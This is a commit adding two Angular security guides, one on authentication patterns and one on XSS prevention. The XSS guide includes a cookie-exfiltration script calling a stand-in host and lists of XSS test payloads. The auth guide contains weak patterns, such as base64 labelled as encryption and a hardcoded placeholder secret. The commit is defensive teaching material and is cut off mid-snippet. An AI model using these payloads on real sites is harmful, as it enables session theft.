Initial commit

This commit is contained in:
Zhongwei Li
2025-11-29 18:25:02 +08:00
commit ec2cec7636
8 changed files with 2608 additions and 0 deletions

View File

@@ -0,0 +1,902 @@
# Authentication & Authorization Patterns
Complete guide to secure authentication and authorization in Angular applications.
## Table of Contents
1. [Authentication Basics](#authentication-basics)
2. [JWT Implementation](#jwt-implementation)
3. [OAuth2 & Social Login](#oauth2--social-login)
4. [Token Management](#token-management)
5. [Route Guards](#route-guards)
6. [Role-Based Access Control](#role-based-access-control)
7. [HTTP Interceptors](#http-interceptors)
8. [Session Management](#session-management)
---
## Authentication Basics
### Authentication Flow
```
1. User enters credentials
2. Frontend sends to backend
3. Backend validates credentials
4. Backend generates JWT token
5. Frontend stores token securely
6. Frontend includes token in API requests
7. Backend validates token on each request
```
### Secure Authentication Service
```typescript
@Injectable({ providedIn: 'root' })
export class AuthService {
private readonly TOKEN_KEY = 'auth_token';
private currentUserSubject = new BehaviorSubject<User | null>(null);
public currentUser$ = this.currentUserSubject.asObservable();
constructor(
private http: HttpClient,
private router: Router
) {
// Initialize user from token on app start
this.loadUserFromToken();
}
login(email: string, password: string): Observable<AuthResponse> {
return this.http.post<AuthResponse>('/api/auth/login', {
email,
password
}).pipe(
tap(response => {
this.setSession(response);
}),
catchError(error => {
console.error('Login failed:', error);
return throwError(() => error);
})
);
}
logout(): void {
// Clear token
localStorage.removeItem(this.TOKEN_KEY);
// Clear user state
this.currentUserSubject.next(null);
// Redirect to login
this.router.navigate(['/login']);
// Optional: Call backend to invalidate token
this.http.post('/api/auth/logout', {}).subscribe();
}
isAuthenticated(): boolean {
const token = this.getToken();
if (!token) return false;
// Check if token is expired
return !this.isTokenExpired(token);
}
getToken(): string | null {
return localStorage.getItem(this.TOKEN_KEY);
}
private setSession(authResult: AuthResponse): void {
// Store token
localStorage.setItem(this.TOKEN_KEY, authResult.token);
// Update current user
this.currentUserSubject.next(authResult.user);
}
private loadUserFromToken(): void {
const token = this.getToken();
if (token && !this.isTokenExpired(token)) {
// Decode token to get user info
const decoded = this.decodeToken(token);
this.currentUserSubject.next(decoded.user);
}
}
private isTokenExpired(token: string): boolean {
try {
const decoded = this.decodeToken(token);
const expiryTime = decoded.exp * 1000; // Convert to milliseconds
return Date.now() >= expiryTime;
} catch {
return true;
}
}
private decodeToken(token: string): any {
try {
const payload = token.split('.')[1];
return JSON.parse(atob(payload));
} catch {
return null;
}
}
}
```
---
## JWT Implementation
### JWT Structure
```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. // Header
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ. // Payload
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c // Signature
```
### JWT Payload
```typescript
interface JwtPayload {
sub: string; // Subject (user ID)
email: string; // User email
name: string; // User name
role: string; // User role
iat: number; // Issued at
exp: number; // Expiration time
}
```
### JWT Service
```typescript
@Injectable({ providedIn: 'root' })
export class JwtService {
private readonly SECRET_KEY = 'your-secret-key'; // Server-side only!
// Decode JWT (client-side)
decode(token: string): any {
try {
const parts = token.split('.');
if (parts.length !== 3) {
throw new Error('Invalid token format');
}
const payload = parts[1];
const decoded = atob(payload.replace(/-/g, '+').replace(/_/g, '/'));
return JSON.parse(decoded);
} catch (error) {
console.error('Failed to decode token:', error);
return null;
}
}
// Check if token is expired
isExpired(token: string): boolean {
const decoded = this.decode(token);
if (!decoded || !decoded.exp) return true;
const expiryTime = decoded.exp * 1000;
return Date.now() >= expiryTime;
}
// Get expiry date
getExpiryDate(token: string): Date | null {
const decoded = this.decode(token);
if (!decoded || !decoded.exp) return null;
return new Date(decoded.exp * 1000);
}
// Get time until expiry
getTimeUntilExpiry(token: string): number {
const expiryDate = this.getExpiryDate(token);
if (!expiryDate) return 0;
return expiryDate.getTime() - Date.now();
}
}
```
### Token Refresh
```typescript
@Injectable({ providedIn: 'root' })
export class TokenRefreshService {
private refreshInProgress = false;
private refreshSubject = new Subject<string>();
constructor(
private http: HttpClient,
private authService: AuthService
) {
// Auto-refresh before expiry
this.setupAutoRefresh();
}
refreshToken(): Observable<string> {
if (this.refreshInProgress) {
// Return existing refresh observable
return this.refreshSubject.pipe(
filter(token => !!token),
take(1)
);
}
this.refreshInProgress = true;
return this.http.post<{ token: string }>('/api/auth/refresh', {
refreshToken: this.authService.getRefreshToken()
}).pipe(
tap(response => {
this.authService.setToken(response.token);
this.refreshInProgress = false;
this.refreshSubject.next(response.token);
}),
catchError(error => {
this.refreshInProgress = false;
this.authService.logout();
return throwError(() => error);
})
);
}
private setupAutoRefresh(): void {
// Refresh token 5 minutes before expiry
const REFRESH_BEFORE_EXPIRY = 5 * 60 * 1000; // 5 minutes
interval(60000).pipe( // Check every minute
filter(() => this.authService.isAuthenticated()),
switchMap(() => {
const token = this.authService.getToken();
if (!token) return of(null);
const timeUntilExpiry = this.getTimeUntilExpiry(token);
if (timeUntilExpiry <= REFRESH_BEFORE_EXPIRY) {
return this.refreshToken();
}
return of(null);
})
).subscribe();
}
private getTimeUntilExpiry(token: string): number {
const decoded = this.decodeToken(token);
if (!decoded?.exp) return 0;
return (decoded.exp * 1000) - Date.now();
}
}
```
---
## OAuth2 & Social Login
### OAuth2 Flow
```
1. User clicks "Login with Google"
2. Redirect to OAuth provider (Google)
3. User authorizes app
4. Provider redirects back with authorization code
5. Exchange code for access token
6. Use token to get user info
7. Create session in your app
```
### Social Login Service
```typescript
@Injectable({ providedIn: 'root' })
export class SocialAuthService {
constructor(
private http: HttpClient,
private authService: AuthService
) {}
// Google OAuth2
loginWithGoogle(): void {
const clientId = environment.googleClientId;
const redirectUri = `${window.location.origin}/auth/google/callback`;
const scope = 'openid email profile';
const authUrl = `https://accounts.google.com/o/oauth2/v2/auth?` +
`client_id=${clientId}&` +
`redirect_uri=${encodeURIComponent(redirectUri)}&` +
`response_type=code&` +
`scope=${encodeURIComponent(scope)}`;
window.location.href = authUrl;
}
// Handle OAuth callback
handleOAuthCallback(code: string, provider: string): Observable<AuthResponse> {
return this.http.post<AuthResponse>('/api/auth/oauth/callback', {
code,
provider
}).pipe(
tap(response => {
this.authService.setSession(response);
})
);
}
// GitHub OAuth2
loginWithGitHub(): void {
const clientId = environment.githubClientId;
const redirectUri = `${window.location.origin}/auth/github/callback`;
const authUrl = `https://github.com/login/oauth/authorize?` +
`client_id=${clientId}&` +
`redirect_uri=${encodeURIComponent(redirectUri)}&` +
`scope=user:email`;
window.location.href = authUrl;
}
}
```
### OAuth Callback Component
```typescript
@Component({
template: `<div>Completing login...</div>`
})
export class OAuthCallbackComponent implements OnInit {
constructor(
private route: ActivatedRoute,
private socialAuth: SocialAuthService,
private router: Router
) {}
ngOnInit() {
// Get authorization code from URL
this.route.queryParams.subscribe(params => {
const code = params['code'];
const provider = this.route.snapshot.paramMap.get('provider');
if (code && provider) {
this.socialAuth.handleOAuthCallback(code, provider).subscribe({
next: () => {
this.router.navigate(['/dashboard']);
},
error: (error) => {
console.error('OAuth callback failed:', error);
this.router.navigate(['/login'], {
queryParams: { error: 'oauth_failed' }
});
}
});
}
});
}
}
```
---
## Token Management
### Secure Token Storage
```typescript
@Injectable({ providedIn: 'root' })
export class SecureTokenService {
// Option 1: Memory (most secure, lost on refresh)
private token: string | null = null;
setToken(token: string): void {
this.token = token;
}
getToken(): string | null {
return this.token;
}
clearToken(): void {
this.token = null;
}
}
// Option 2: localStorage (survives refresh, vulnerable to XSS)
class LocalStorageTokenService {
private readonly KEY = 'auth_token';
setToken(token: string): void {
localStorage.setItem(this.KEY, token);
}
getToken(): string | null {
return localStorage.getItem(this.KEY);
}
clearToken(): void {
localStorage.removeItem(this.KEY);
}
}
// Option 3: HttpOnly cookie (most secure, set server-side)
// Backend sets: Set-Cookie: token=xxx; HttpOnly; Secure; SameSite=Strict
// Frontend: Token automatically sent with requests
```
### Token Encryption (Client-Side)
```typescript
@Injectable({ providedIn: 'root' })
export class EncryptedTokenService {
private readonly KEY = 'auth_token';
private readonly ENCRYPTION_KEY = 'your-encryption-key'; // From environment
setToken(token: string): void {
const encrypted = this.encrypt(token);
localStorage.setItem(this.KEY, encrypted);
}
getToken(): string | null {
const encrypted = localStorage.getItem(this.KEY);
if (!encrypted) return null;
return this.decrypt(encrypted);
}
private encrypt(text: string): string {
// Use Web Crypto API
// This is a simplified example
return btoa(text); // In production, use proper encryption
}
private decrypt(encrypted: string): string {
try {
return atob(encrypted);
} catch {
return '';
}
}
}
```
---
## Route Guards
### Auth Guard
```typescript
export const authGuard: CanActivateFn = (route, state) => {
const authService = inject(AuthService);
const router = inject(Router);
if (authService.isAuthenticated()) {
return true;
}
// Redirect to login with return URL
return router.createUrlTree(['/login'], {
queryParams: { returnUrl: state.url }
});
};
// Usage in routes
export const routes: Routes = [
{
path: 'dashboard',
canActivate: [authGuard],
loadComponent: () => import('./dashboard/dashboard.component')
}
];
```
### Role Guard
```typescript
export const roleGuard: CanActivateFn = (route, state) => {
const authService = inject(AuthService);
const router = inject(Router);
// Check authentication
if (!authService.isAuthenticated()) {
return router.createUrlTree(['/login']);
}
// Check role
const requiredRole = route.data['role'] as string;
const userRole = authService.getCurrentUser()?.role;
if (requiredRole && userRole !== requiredRole) {
console.warn(`Access denied. Required role: ${requiredRole}, User role: ${userRole}`);
return router.createUrlTree(['/unauthorized']);
}
return true;
};
// Usage
{
path: 'admin',
canActivate: [authGuard, roleGuard],
data: { role: 'admin' },
loadChildren: () => import('./admin/admin.routes')
}
```
### Permission Guard
```typescript
export const permissionGuard: CanActivateFn = (route, state) => {
const authService = inject(AuthService);
const router = inject(Router);
if (!authService.isAuthenticated()) {
return router.createUrlTree(['/login']);
}
const requiredPermissions = route.data['permissions'] as string[];
const userPermissions = authService.getCurrentUser()?.permissions || [];
const hasPermission = requiredPermissions.every(permission =>
userPermissions.includes(permission)
);
if (!hasPermission) {
return router.createUrlTree(['/forbidden']);
}
return true;
};
// Usage
{
path: 'users/edit/:id',
canActivate: [authGuard, permissionGuard],
data: { permissions: ['users.edit', 'users.view'] },
component: UserEditComponent
}
```
### Can Deactivate Guard
```typescript
export interface CanComponentDeactivate {
canDeactivate: () => boolean | Observable<boolean>;
}
export const unsavedChangesGuard: CanDeactivateFn<CanComponentDeactivate> = (
component
) => {
return component.canDeactivate
? component.canDeactivate()
: true;
};
// Component implementation
@Component({})
export class EditFormComponent implements CanComponentDeactivate {
hasUnsavedChanges = false;
canDeactivate(): boolean {
if (this.hasUnsavedChanges) {
return confirm('You have unsaved changes. Are you sure you want to leave?');
}
return true;
}
}
// Route
{
path: 'edit/:id',
component: EditFormComponent,
canDeactivate: [unsavedChangesGuard]
}
```
---
## Role-Based Access Control
### RBAC Service
```typescript
interface Permission {
resource: string;
actions: string[];
}
interface Role {
name: string;
permissions: Permission[];
}
@Injectable({ providedIn: 'root' })
export class RbacService {
private roles: Map<string, Role> = new Map([
['admin', {
name: 'admin',
permissions: [
{ resource: 'users', actions: ['create', 'read', 'update', 'delete'] },
{ resource: 'posts', actions: ['create', 'read', 'update', 'delete'] },
{ resource: 'settings', actions: ['read', 'update'] }
]
}],
['editor', {
name: 'editor',
permissions: [
{ resource: 'posts', actions: ['create', 'read', 'update'] },
{ resource: 'media', actions: ['create', 'read', 'delete'] }
]
}],
['viewer', {
name: 'viewer',
permissions: [
{ resource: 'posts', actions: ['read'] },
{ resource: 'media', actions: ['read'] }
]
}]
]);
constructor(private authService: AuthService) {}
hasPermission(resource: string, action: string): boolean {
const user = this.authService.getCurrentUser();
if (!user || !user.role) return false;
const role = this.roles.get(user.role);
if (!role) return false;
const permission = role.permissions.find(p => p.resource === resource);
return permission?.actions.includes(action) || false;
}
hasRole(roleName: string): boolean {
const user = this.authService.getCurrentUser();
return user?.role === roleName;
}
hasAnyRole(roles: string[]): boolean {
const user = this.authService.getCurrentUser();
return roles.includes(user?.role || '');
}
}
```
### Permission Directive
```typescript
@Directive({
selector: '[hasPermission]',
standalone: true
})
export class HasPermissionDirective implements OnInit {
@Input() hasPermission!: { resource: string; action: string };
constructor(
private rbac: RbacService,
private templateRef: TemplateRef<any>,
private viewContainer: ViewContainerRef
) {}
ngOnInit() {
const { resource, action } = this.hasPermission;
if (this.rbac.hasPermission(resource, action)) {
this.viewContainer.createEmbeddedView(this.templateRef);
} else {
this.viewContainer.clear();
}
}
}
// Usage
<button *hasPermission="{ resource: 'users', action: 'delete' }">
Delete User
</button>
```
### Role Directive
```typescript
@Directive({
selector: '[hasRole]',
standalone: true
})
export class HasRoleDirective implements OnInit {
@Input() hasRole!: string | string[];
constructor(
private rbac: RbacService,
private templateRef: TemplateRef<any>,
private viewContainer: ViewContainerRef
) {}
ngOnInit() {
const roles = Array.isArray(this.hasRole) ? this.hasRole : [this.hasRole];
if (this.rbac.hasAnyRole(roles)) {
this.viewContainer.createEmbeddedView(this.templateRef);
} else {
this.viewContainer.clear();
}
}
}
// Usage
<div *hasRole="'admin'">
Admin content
</div>
<div *hasRole="['admin', 'editor']">
Admin or Editor content
</div>
```
---
## HTTP Interceptors
### Auth Interceptor
```typescript
export const authInterceptor: HttpInterceptorFn = (req, next) => {
const authService = inject(AuthService);
const token = authService.getToken();
// Skip auth for certain URLs
if (req.url.includes('/auth/login') || req.url.includes('/auth/register')) {
return next(req);
}
// Add auth token
if (token) {
req = req.clone({
setHeaders: {
Authorization: `Bearer ${token}`,
'X-Requested-With': 'XMLHttpRequest'
}
});
}
return next(req).pipe(
catchError((error: HttpErrorResponse) => {
if (error.status === 401) {
// Token expired or invalid
authService.logout();
inject(Router).navigate(['/login']);
}
return throwError(() => error);
})
);
};
```
### Token Refresh Interceptor
```typescript
export const tokenRefreshInterceptor: HttpInterceptorFn = (req, next) => {
const authService = inject(AuthService);
const tokenService = inject(TokenRefreshService);
return next(req).pipe(
catchError((error: HttpErrorResponse) => {
if (error.status === 401 && !req.url.includes('/auth/refresh')) {
// Try to refresh token
return tokenService.refreshToken().pipe(
switchMap(newToken => {
// Retry request with new token
const cloned = req.clone({
setHeaders: {
Authorization: `Bearer ${newToken}`
}
});
return next(cloned);
}),
catchError(refreshError => {
authService.logout();
return throwError(() => refreshError);
})
);
}
return throwError(() => error);
})
);
};
```
---
## Session Management
### Session Service
```typescript
@Injectable({ providedIn: 'root' })
export class SessionService {
private readonly TIMEOUT_DURATION = 30 * 60 * 1000; // 30 minutes
private timeoutId: any;
private lastActivity: number = Date.now();
constructor(
private authService: AuthService,
private router: Router
) {
this.startMonitoring();
}
private startMonitoring(): void {
// Monitor user activity
fromEvent(document, 'click').pipe(
merge(
fromEvent(document, 'keypress'),
fromEvent(document, 'mousemove'),
fromEvent(document, 'scroll')
),
throttleTime(1000)
).subscribe(() => {
this.resetTimeout();
});
this.resetTimeout();
}
private resetTimeout(): void {
this.lastActivity = Date.now();
// Clear existing timeout
if (this.timeoutId) {
clearTimeout(this.timeoutId);
}
// Set new timeout
this.timeoutId = setTimeout(() => {
this.handleTimeout();
}, this.TIMEOUT_DURATION);
}
private handleTimeout(): void {
console.log('Session timeout - logging out');
this.authService.logout();
this.router.navigate(['/login'], {
queryParams: { reason: 'session_timeout' }
});
}
getLastActivity(): Date {
return new Date(this.lastActivity);
}
getRemainingTime(): number {
const elapsed = Date.now() - this.lastActivity;
return Math.max(0, this.TIMEOUT_DURATION - elapsed);
}
}
```
---
## Best Practices
**DO**:
- Use HTTPS for all auth endpoints
- Store tokens in HttpOnly cookies when possible
- Implement token refresh
- Use route guards for protected routes
- Validate tokens on server side
- Implement session timeout
- Log security events
- Use strong password policies
**DON'T**:
- Store sensitive data in localStorage
- Send tokens in URL parameters
- Trust client-side validation alone
- Use weak encryption
- Expose user roles/permissions in JWT
- Skip CSRF protection
- Hardcode secrets in code
---
*Authenticate securely, authorize precisely! 🔐*

View File

@@ -0,0 +1,731 @@
# XSS Prevention in Angular
Complete guide to preventing Cross-Site Scripting (XSS) attacks in Angular applications.
## Table of Contents
1. [Understanding XSS](#understanding-xss)
2. [Angular's Built-in Protection](#angulars-built-in-protection)
3. [DomSanitizer](#domsanitizer)
4. [Content Security Policy](#content-security-policy)
5. [Secure Coding Patterns](#secure-coding-patterns)
6. [Common Vulnerabilities](#common-vulnerabilities)
7. [Testing for XSS](#testing-for-xss)
---
## Understanding XSS
### Types of XSS
**1. Stored XSS (Persistent)**
```typescript
// Attacker stores malicious script in database
userBio = '<script>fetch("evil.com?cookie=" + document.cookie)</script>';
// Later displayed to other users
<div [innerHTML]="userBio"></div> // Executes script
```
**2. Reflected XSS (Non-persistent)**
```typescript
// Malicious link: https://example.com?search=<script>alert(1)</script>
// App reflects input without sanitization
<div>Search results for: {{ searchQuery }}</div>
```
**3. DOM-based XSS**
```typescript
// URL: https://example.com#<img src=x onerror=alert(1)>
// Unsafe DOM manipulation
element.innerHTML = location.hash.substring(1);
```
### XSS Attack Vectors
```typescript
// Script tags
<script>alert('XSS')</script>
// Event handlers
<img src=x onerror=alert('XSS')>
<div onclick=alert('XSS')>
// Data URLs
<a href="data:text/html,<script>alert('XSS')</script>">
// JavaScript URLs
<a href="javascript:alert('XSS')">
// Style injection
<div style="background:url('javascript:alert(XSS)')">
// SVG
<svg onload=alert('XSS')>
// Object/embed
<object data="javascript:alert('XSS')">
```
---
## Angular's Built-in Protection
### Automatic Escaping
```typescript
// ✅ SAFE: Angular auto-escapes
@Component({
template: `
<div>{{ userInput }}</div>
<div [textContent]="userInput"></div>
`
})
export class SafeComponent {
userInput = '<script>alert("XSS")</script>';
// Rendered as text, not executed
}
```
### Security Contexts
Angular sanitizes based on context:
| Context | Element | Sanitization |
|---------|---------|--------------|
| HTML | `[innerHTML]` | Remove scripts, styles |
| Style | `[style]` | Remove dangerous CSS |
| URL | `[href]`, `[src]` | Block javascript: |
| Resource URL | `<iframe src>` | Strict validation |
---
## DomSanitizer
### Basic Usage
```typescript
import { DomSanitizer, SafeHtml, SecurityContext } from '@angular/platform-browser';
@Component({
template: `<div [innerHTML]="safeHtml"></div>`
})
export class SanitizedComponent {
safeHtml: SafeHtml;
constructor(private sanitizer: DomSanitizer) {
const userInput = '<p>Hello</p><script>alert("XSS")</script>';
// Sanitize HTML
this.safeHtml = this.sanitizer.sanitize(
SecurityContext.HTML,
userInput
);
// Result: '<p>Hello</p>' (script removed)
}
}
```
### Security Contexts
```typescript
export class SecurityContextsComponent {
constructor(private sanitizer: DomSanitizer) {}
// HTML Context
sanitizeHtml(html: string): SafeHtml {
return this.sanitizer.sanitize(SecurityContext.HTML, html);
}
// Style Context
sanitizeStyle(style: string): SafeStyle {
return this.sanitizer.sanitize(SecurityContext.STYLE, style);
}
// URL Context
sanitizeUrl(url: string): SafeUrl {
return this.sanitizer.sanitize(SecurityContext.URL, url);
}
// Resource URL Context (iframes, etc)
sanitizeResourceUrl(url: string): SafeResourceUrl {
return this.sanitizer.sanitize(SecurityContext.RESOURCE_URL, url);
}
}
```
### Bypassing Security (Use with Extreme Caution)
```typescript
// ⚠️ DANGEROUS: Only use when absolutely necessary
export class BypassSecurityComponent {
constructor(private sanitizer: DomSanitizer) {}
// Bypass HTML sanitization
getTrustedHtml(html: string): SafeHtml {
// Only use with trusted, server-validated content!
return this.sanitizer.bypassSecurityTrustHtml(html);
}
// Bypass URL sanitization
getTrustedUrl(url: string): SafeUrl {
// Validate URL is from trusted domain first!
if (this.isTrustedDomain(url)) {
return this.sanitizer.bypassSecurityTrustUrl(url);
}
throw new Error('Untrusted URL');
}
private isTrustedDomain(url: string): boolean {
const trustedDomains = ['example.com', 'cdn.example.com'];
try {
const domain = new URL(url).hostname;
return trustedDomains.some(trusted => domain.endsWith(trusted));
} catch {
return false;
}
}
}
```
### Safe HTML with Markdown
```typescript
import { marked } from 'marked';
@Component({
template: `<div [innerHTML]="renderedMarkdown"></div>`
})
export class MarkdownComponent {
@Input() set markdown(value: string) {
// Convert markdown to HTML
const rawHtml = marked(value);
// Sanitize the HTML
this.renderedMarkdown = this.sanitizer.sanitize(
SecurityContext.HTML,
rawHtml
);
}
renderedMarkdown: SafeHtml;
constructor(private sanitizer: DomSanitizer) {}
}
```
---
## Content Security Policy
### CSP Headers
```html
<!-- index.html -->
<meta http-equiv="Content-Security-Policy" content="
default-src 'self';
script-src 'self' 'nonce-{RANDOM}';
style-src 'self' 'nonce-{RANDOM}';
img-src 'self' data: https:;
font-src 'self' data:;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
">
```
### CSP Directives
```
default-src 'self' # Default policy
script-src 'self' 'unsafe-inline' # Where scripts can load from
style-src 'self' 'unsafe-inline' # Where styles can load from
img-src 'self' data: https: # Image sources
font-src 'self' data: # Font sources
connect-src 'self' api.example.com # XHR/WebSocket connections
frame-ancestors 'none' # Prevent clickjacking
base-uri 'self' # Restrict <base> tag
form-action 'self' # Form submission targets
upgrade-insecure-requests # Upgrade HTTP to HTTPS
```
### CSP with Nonce
```typescript
// Server-side (Node.js example)
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.nonce = nonce;
res.setHeader('Content-Security-Policy', `
script-src 'self' 'nonce-${nonce}';
style-src 'self' 'nonce-${nonce}';
`);
next();
});
// HTML template
<script nonce="<%= nonce %>">
console.log('Allowed with nonce');
</script>
```
### CSP Violation Reporting
```html
<meta http-equiv="Content-Security-Policy" content="
default-src 'self';
report-uri /api/csp-violations;
">
```
```typescript
// Server endpoint to receive violations
app.post('/api/csp-violations', (req, res) => {
console.error('CSP Violation:', req.body);
// Log to security monitoring system
res.status(204).end();
});
```
---
## Secure Coding Patterns
### Pattern 1: Avoid innerHTML
```typescript
// ❌ BAD
@Component({
template: `<div [innerHTML]="content"></div>`
})
// ✅ GOOD: Use text interpolation
@Component({
template: `<div>{{ content }}</div>`
})
// ✅ GOOD: Component composition
@Component({
template: `
<div *ngFor="let item of items">
<app-safe-content [data]="item"></app-safe-content>
</div>
`
})
```
### Pattern 2: Whitelist URLs
```typescript
@Component({
template: `<a [href]="safeUrl">Link</a>`
})
export class LinkComponent {
@Input() set url(value: string) {
this.safeUrl = this.validateUrl(value);
}
safeUrl: string | null;
private allowedProtocols = ['http:', 'https:', 'mailto:'];
private blockedDomains = ['evil.com', 'phishing.net'];
private validateUrl(url: string): string | null {
try {
const parsed = new URL(url);
// Check protocol
if (!this.allowedProtocols.includes(parsed.protocol)) {
console.warn('Blocked URL with invalid protocol:', url);
return null;
}
// Check domain blacklist
if (this.blockedDomains.some(blocked =>
parsed.hostname.includes(blocked)
)) {
console.warn('Blocked URL from blacklisted domain:', url);
return null;
}
return url;
} catch {
console.warn('Invalid URL:', url);
return null;
}
}
}
```
### Pattern 3: Sanitize User Content
```typescript
@Injectable({ providedIn: 'root' })
export class ContentSanitizerService {
constructor(private sanitizer: DomSanitizer) {}
// Sanitize HTML content
sanitizeHtml(html: string): SafeHtml {
// Remove dangerous tags
const dangerous = ['script', 'iframe', 'object', 'embed', 'style'];
let cleaned = html;
dangerous.forEach(tag => {
const regex = new RegExp(`<${tag}[^>]*>.*?<\/${tag}>`, 'gi');
cleaned = cleaned.replace(regex, '');
});
// Remove event handlers
cleaned = cleaned.replace(/on\w+\s*=\s*["'][^"']*["']/gi, '');
// Sanitize with Angular
return this.sanitizer.sanitize(SecurityContext.HTML, cleaned);
}
// Sanitize for display in form
sanitizeFormInput(input: string): string {
return input
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;')
.replace(/'/g, '&#x27;')
.replace(/\//g, '&#x2F;');
}
}
```
### Pattern 4: Safe File Upload
```typescript
@Component({
template: `
<input type="file" (change)="onFileSelect($event)" accept="image/*">
<img *ngIf="preview" [src]="preview" alt="Preview">
`
})
export class SafeFileUploadComponent {
preview: SafeUrl | null = null;
constructor(private sanitizer: DomSanitizer) {}
onFileSelect(event: Event) {
const input = event.target as HTMLInputElement;
const file = input.files?.[0];
if (!file) return;
// Validate file type
const validTypes = ['image/jpeg', 'image/png', 'image/gif'];
if (!validTypes.includes(file.type)) {
alert('Invalid file type');
return;
}
// Validate file size (5MB max)
if (file.size > 5 * 1024 * 1024) {
alert('File too large');
return;
}
// Create safe preview
const reader = new FileReader();
reader.onload = (e) => {
const dataUrl = e.target?.result as string;
// Sanitize data URL
this.preview = this.sanitizer.sanitize(
SecurityContext.URL,
dataUrl
);
};
reader.readAsDataURL(file);
}
}
```
### Pattern 5: Safe Dynamic Content
```typescript
// ❌ BAD: Dynamic script execution
eval(userCode);
new Function(userCode)();
// ✅ GOOD: Configuration-based logic
@Component({
template: `
<div *ngIf="config.showHeader">
<h1>{{ config.title }}</h1>
</div>
<div *ngFor="let section of config.sections">
<app-section [data]="section"></app-section>
</div>
`
})
export class ConfigurableComponent {
@Input() config: {
showHeader: boolean;
title: string;
sections: Section[];
};
}
```
---
## Common Vulnerabilities
### Vulnerability 1: innerHTML with User Data
```typescript
// ❌ VULNERABLE
@Component({
template: `<div [innerHTML]="userBio"></div>`
})
export class VulnerableComponent {
@Input() userBio: string;
}
// Attack:
userBio = '<img src=x onerror="alert(document.cookie)">';
// ✅ FIX 1: Remove innerHTML
@Component({
template: `<div>{{ userBio }}</div>`
})
// ✅ FIX 2: Sanitize
@Component({
template: `<div [innerHTML]="safeUserBio"></div>`
})
export class SecureComponent {
@Input() set userBio(value: string) {
this.safeUserBio = this.sanitizer.sanitize(
SecurityContext.HTML,
value
);
}
safeUserBio: SafeHtml;
constructor(private sanitizer: DomSanitizer) {}
}
```
### Vulnerability 2: Unsafe URL Binding
```typescript
// ❌ VULNERABLE
<a [href]="userUrl">Click</a>
// Attack:
userUrl = 'javascript:alert(document.cookie)';
// ✅ FIX
@Component({
template: `<a [href]="safeUrl">Click</a>`
})
export class SecureComponent {
@Input() set userUrl(value: string) {
try {
const url = new URL(value);
if (url.protocol === 'http:' || url.protocol === 'https:') {
this.safeUrl = value;
} else {
console.warn('Blocked unsafe URL protocol:', url.protocol);
this.safeUrl = null;
}
} catch {
this.safeUrl = null;
}
}
safeUrl: string | null;
}
```
### Vulnerability 3: Document Write
```typescript
// ❌ NEVER USE
document.write(userContent);
document.writeln(userContent);
// ✅ USE ANGULAR
@Component({
template: `<div>{{ content }}</div>`
})
```
### Vulnerability 4: Unsafe Third-Party Content
```typescript
// ❌ VULNERABLE: Untrusted iframe
<iframe [src]="videoUrl"></iframe>
// ✅ SECURE: Whitelist domains
@Component({
template: `<iframe *ngIf="trustedUrl" [src]="trustedUrl"></iframe>`
})
export class VideoComponent {
@Input() set videoUrl(url: string) {
const trusted = ['youtube.com', 'vimeo.com'];
try {
const domain = new URL(url).hostname;
if (trusted.some(t => domain.includes(t))) {
this.trustedUrl = this.sanitizer.bypassSecurityTrustResourceUrl(url);
} else {
console.warn('Untrusted video domain:', domain);
this.trustedUrl = null;
}
} catch {
this.trustedUrl = null;
}
}
trustedUrl: SafeResourceUrl | null;
constructor(private sanitizer: DomSanitizer) {}
}
```
---
## Testing for XSS
### Manual Testing
```typescript
// Test payloads
const xssPayloads = [
'<script>alert("XSS")</script>',
'<img src=x onerror=alert("XSS")>',
'<svg onload=alert("XSS")>',
'javascript:alert("XSS")',
'<iframe src="javascript:alert(\'XSS\')">',
'<body onload=alert("XSS")>',
'<input onfocus=alert("XSS") autofocus>',
'<select onfocus=alert("XSS") autofocus>',
'<textarea onfocus=alert("XSS") autofocus>',
'<img src=x:alert(alt) onerror=eval(src) alt=xss>',
'"><script>alert(String.fromCharCode(88,83,83))</script>',
'<img src=/ onerror="alert(String.fromCharCode(88,83,83))">',
];
// Test each input field
xssPayloads.forEach(payload => {
component.userInput = payload;
fixture.detectChanges();
// Check if script executes or is safely escaped
});
```
### Automated Testing
```typescript
describe('XSS Prevention', () => {
it('should escape HTML in text interpolation', () => {
component.content = '<script>alert("XSS")</script>';
fixture.detectChanges();
const element = fixture.nativeElement;
expect(element.textContent).toContain('&lt;script&gt;');
expect(element.innerHTML).not.toContain('<script>');
});
it('should sanitize innerHTML', () => {
const malicious = '<p>Safe</p><script>alert("XSS")</script>';
component.setHtml(malicious);
fixture.detectChanges();
const element = fixture.nativeElement.querySelector('.content');
expect(element.innerHTML).toContain('<p>Safe</p>');
expect(element.innerHTML).not.toContain('<script>');
});
it('should block javascript: URLs', () => {
component.url = 'javascript:alert("XSS")';
fixture.detectChanges();
const link = fixture.nativeElement.querySelector('a');
expect(link.getAttribute('href')).toBeNull();
});
});
```
### Security Testing Tools
```bash
# OWASP ZAP
docker run -t owasp/zap2docker-stable zap-baseline.py \
-t http://localhost:4200
# Snyk
npm install -g snyk
snyk test
snyk monitor
# npm audit
npm audit
npm audit fix
```
---
## Best Practices Summary
**DO**:
- Use text interpolation `{{ }}` by default
- Sanitize with `DomSanitizer` when HTML is needed
- Implement Content Security Policy
- Validate and whitelist URLs
- Escape user input in forms
- Use Angular's built-in protection
- Test with XSS payloads
- Keep dependencies updated
**DON'T**:
- Use `innerHTML` with user data
- Use `bypassSecurityTrust*` without validation
- Use `eval()` or `Function()` constructor
- Trust client-side validation alone
- Disable CSP without good reason
- Expose sensitive data in templates
- Use `document.write()`
---
## Quick Reference
### Security Context Methods
```typescript
// Sanitize
sanitizer.sanitize(SecurityContext.HTML, html);
sanitizer.sanitize(SecurityContext.STYLE, style);
sanitizer.sanitize(SecurityContext.URL, url);
sanitizer.sanitize(SecurityContext.RESOURCE_URL, url);
// Bypass (use with caution!)
sanitizer.bypassSecurityTrustHtml(html);
sanitizer.bypassSecurityTrustStyle(style);
sanitizer.bypassSecurityTrustUrl(url);
sanitizer.bypassSecurityTrustResourceUrl(url);
```
### CSP Quick Start
```html
<meta http-equiv="Content-Security-Policy" content="
